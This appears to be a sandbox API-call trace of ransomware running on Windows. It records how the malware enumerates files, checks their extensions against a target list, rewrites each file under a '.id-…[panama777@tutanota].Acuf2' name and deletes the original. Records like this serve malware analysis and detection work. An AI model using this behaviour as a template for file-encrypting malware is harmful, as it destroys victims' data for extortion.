	[0041.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0041.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0041.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0041.860] lstrlenW (lpString=".doc") returned 4
	[0041.860] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.860] lstrlenW (lpString=".docx") returned 5
	[0041.860] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0041.860] lstrlenW (lpString=".pdf") returned 4
	[0041.860] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.860] lstrlenW (lpString=".xls") returned 4
	[0041.860] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.860] lstrlenW (lpString=".xlsx") returned 5
	[0041.860] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0041.860] lstrlenW (lpString=".ppt") returned 4
	[0041.860] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0041.860] lstrlenW (lpString=".zip") returned 4
	[0041.860] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.860] lstrlenW (lpString=".rar") returned 4
	[0041.860] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.860] lstrlenW (lpString=".bz2") returned 4
	[0041.860] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.861] lstrlenW (lpString=".7z") returned 3
	[0041.861] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0041.861] lstrlenW (lpString=".dbf") returned 4
	[0041.861] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0041.861] lstrlenW (lpString=".1cd") returned 4
	[0041.861] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0041.861] lstrlenW (lpString=".jpg") returned 4
	[0041.861] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0041.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0041.861] lstrlenW (lpString=".doc") returned 4
	[0041.861] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.861] lstrlenW (lpString=".docx") returned 5
	[0041.861] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0041.861] lstrlenW (lpString=".pdf") returned 4
	[0041.861] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.861] lstrlenW (lpString=".xls") returned 4
	[0041.861] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.861] lstrlenW (lpString=".xlsx") returned 5
	[0041.861] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0041.861] lstrlenW (lpString=".ppt") returned 4
	[0041.861] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0041.861] lstrlenW (lpString=".zip") returned 4
	[0041.861] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.861] lstrlenW (lpString=".rar") returned 4
	[0041.861] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.861] lstrlenW (lpString=".bz2") returned 4
	[0041.861] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.862] lstrlenW (lpString=".7z") returned 3
	[0041.862] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0041.862] lstrlenW (lpString=".dbf") returned 4
	[0041.862] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0041.862] lstrlenW (lpString=".1cd") returned 4
	[0041.862] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0041.862] lstrlenW (lpString=".jpg") returned 4
	[0041.862] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.862] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0041.862] lstrlenW (lpString="osknumpad.xml") returned 13
	[0041.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0041.863] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=219) returned 1
	[0041.863] CloseHandle (hObject=0x160) returned 1
	[0041.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20
	[0041.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0041.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0041.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0041.863] lstrlenW (lpString=".doc") returned 4
	[0041.863] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.863] lstrlenW (lpString=".docx") returned 5
	[0041.863] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0041.863] lstrlenW (lpString=".pdf") returned 4
	[0041.863] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.863] lstrlenW (lpString=".xls") returned 4
	[0041.863] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.864] lstrlenW (lpString=".xlsx") returned 5
	[0041.864] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0041.864] lstrlenW (lpString=".ppt") returned 4
	[0041.864] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0041.864] lstrlenW (lpString=".zip") returned 4
	[0041.864] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.864] lstrlenW (lpString=".rar") returned 4
	[0041.864] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.864] lstrlenW (lpString=".bz2") returned 4
	[0041.864] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.864] lstrlenW (lpString=".7z") returned 3
	[0041.864] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0041.864] lstrlenW (lpString=".dbf") returned 4
	[0041.864] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0041.864] lstrlenW (lpString=".1cd") returned 4
	[0041.864] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0041.864] lstrlenW (lpString=".jpg") returned 4
	[0041.864] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0041.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0041.864] lstrlenW (lpString=".doc") returned 4
	[0041.864] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.864] lstrlenW (lpString=".docx") returned 5
	[0041.864] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0041.864] lstrlenW (lpString=".pdf") returned 4
	[0041.864] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.865] lstrlenW (lpString=".xls") returned 4
	[0041.865] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.865] lstrlenW (lpString=".xlsx") returned 5
	[0041.865] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0041.865] lstrlenW (lpString=".ppt") returned 4
	[0041.865] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0041.865] lstrlenW (lpString=".zip") returned 4
	[0041.865] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.865] lstrlenW (lpString=".rar") returned 4
	[0041.865] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.865] lstrlenW (lpString=".bz2") returned 4
	[0041.865] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.865] lstrlenW (lpString=".7z") returned 3
	[0041.865] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0041.865] lstrlenW (lpString=".dbf") returned 4
	[0041.865] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0041.865] lstrlenW (lpString=".1cd") returned 4
	[0041.865] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0041.865] lstrlenW (lpString=".jpg") returned 4
	[0041.865] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.865] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0041.865] lstrlenW (lpString="oskpredbase.xml") returned 15
	[0041.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0041.866] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=924) returned 1
	[0041.866] CloseHandle (hObject=0x160) returned 1
	[0041.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20
	[0041.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0041.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0041.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0041.867] lstrlenW (lpString=".doc") returned 4
	[0041.867] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.867] lstrlenW (lpString=".docx") returned 5
	[0041.867] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0041.867] lstrlenW (lpString=".pdf") returned 4
	[0041.867] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.867] lstrlenW (lpString=".xls") returned 4
	[0041.867] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.867] lstrlenW (lpString=".xlsx") returned 5
	[0041.867] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0041.867] lstrlenW (lpString=".ppt") returned 4
	[0041.867] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0041.867] lstrlenW (lpString=".zip") returned 4
	[0041.867] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.867] lstrlenW (lpString=".rar") returned 4
	[0041.867] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.867] lstrlenW (lpString=".bz2") returned 4
	[0041.867] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.867] lstrlenW (lpString=".7z") returned 3
	[0041.867] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0041.867] lstrlenW (lpString=".dbf") returned 4
	[0041.867] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0041.867] lstrlenW (lpString=".1cd") returned 4
	[0041.867] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0041.868] lstrlenW (lpString=".jpg") returned 4
	[0041.868] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0041.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0041.868] lstrlenW (lpString=".doc") returned 4
	[0041.868] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.868] lstrlenW (lpString=".docx") returned 5
	[0041.868] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0041.868] lstrlenW (lpString=".pdf") returned 4
	[0041.868] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.868] lstrlenW (lpString=".xls") returned 4
	[0041.868] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.868] lstrlenW (lpString=".xlsx") returned 5
	[0041.868] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0041.868] lstrlenW (lpString=".ppt") returned 4
	[0041.868] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0041.868] lstrlenW (lpString=".zip") returned 4
	[0041.868] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.868] lstrlenW (lpString=".rar") returned 4
	[0041.868] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.868] lstrlenW (lpString=".bz2") returned 4
	[0041.868] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.868] lstrlenW (lpString=".7z") returned 3
	[0041.868] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0041.868] lstrlenW (lpString=".dbf") returned 4
	[0041.868] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0041.868] lstrlenW (lpString=".1cd") returned 4
	[0041.868] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88
	[0041.869] lstrlenW (lpString=".jpg") returned 4
	[0041.869] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.869] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0041.869] lstrlenW (lpString="oskpred.xml") returned 11
	[0041.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0041.869] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=215) returned 1
	[0041.869] CloseHandle (hObject=0x160) returned 1
	[0041.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20
	[0041.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0041.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0041.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0041.870] lstrlenW (lpString=".doc") returned 4
	[0041.870] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.870] lstrlenW (lpString=".docx") returned 5
	[0041.870] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0041.870] lstrlenW (lpString=".pdf") returned 4
	[0041.870] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.870] lstrlenW (lpString=".xls") returned 4
	[0041.870] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.870] lstrlenW (lpString=".xlsx") returned 5
	[0041.870] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0041.870] lstrlenW (lpString=".ppt") returned 4
	[0041.870] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0041.870] lstrlenW (lpString=".zip") returned 4
	[0041.870] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.870] lstrlenW (lpString=".rar") returned 4
	[0041.870] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.870] lstrlenW (lpString=".bz2") returned 4
	[0041.870] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.870] lstrlenW (lpString=".7z") returned 3
	[0041.870] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0041.870] lstrlenW (lpString=".dbf") returned 4
	[0041.870] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.875] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0041.875] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0041.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0041.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0044.948] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.948] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0044.948] GetLastError () returned 0x0
	[0044.948] ReadFile (in: hFile=0x1ec, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x73c, lpOverlapped=0x0) returned 1
	[0045.099] WriteFile (in: hFile=0x1f4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x740, lpOverlapped=0x0) returned 1
	[0045.100] ReadFile (in: hFile=0x1ec, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0045.100] WriteFile (in: hFile=0x1f4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0045.100] SetEndOfFile (hFile=0x1f4) returned 1
	[0045.100] CloseHandle (hObject=0x1f4) returned 1
	[0045.101] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.101] SetEndOfFile (hFile=0x1ec) returned 1
	[0045.102] CloseHandle (hObject=0x1ec) returned 1
	[0045.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0045.102] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1
	[0045.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0045.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0045.103] lstrlenW (lpString=".doc") returned 4
